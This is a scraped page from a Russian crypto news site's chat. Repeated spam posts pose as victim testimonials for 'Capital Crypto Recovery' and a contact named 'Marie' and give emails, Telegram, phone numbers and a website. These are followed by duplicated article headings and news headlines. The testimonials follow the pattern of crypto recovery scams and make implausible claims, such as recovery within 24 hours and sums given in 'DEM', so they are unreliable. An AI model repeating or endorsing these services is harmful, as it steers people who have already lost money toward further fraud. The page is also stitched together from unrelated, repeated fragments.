CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Н Новости

Прогнозируем движение беспилотного автомобиля (или как я вышел в тройку лидеров на Yandex Cup 2024)

Задача

Визуализация данных

Решение

Почему speed и delta_phi, а не dx и dy?

Сложение и вычитание углов

Почему 1 секунда?

Resample 1s

Inference

Модели и признаки

Увеличение датасета

Проекции на дороги

Результаты

Похожие новости

Все главные новости мира криптовалют и технологий 16.10.2025

Аналитики Bitwise: за один квартал число компаний-держателей BTC выросло на 39%

Нейросети на все случаи жизни

Глава Резервного банка Индии призвал мир отказаться от стейблкоинов в пользу государственных цифровых валют

Когда одного агента мало: практический кейс применения мультиагентной системы

Розничные инвесторы увеличили покупки биткоина, киты сбавили продажи

Н Новости

Прогнозируем движение беспилотного автомобиля (или как я вышел в тройку лидеров на Yandex Cup 2024)

Задача

Визуализация данных

Решение

Почему speed и delta_phi, а не dx и dy?

Сложение и вычитание углов

Почему 1 секунда?

Resample 1s

Inference

Модели и признаки

Увеличение датасета

Проекции на дороги

Результаты

Похожие новости

Все главные новости мира криптовалют и технологий 16.10.2025

Аналитики Bitwise: за один квартал число компаний-держателей BTC выросло на 39%

Нейросети на все случаи жизни

Глава Резервного банка Индии призвал мир отказаться от стейблкоинов в пользу государственных цифровых валют

Когда одного агента мало: практический кейс применения мультиагентной системы

Розничные инвесторы увеличили покупки биткоина, киты сбавили продажи

Оставайтесь на связи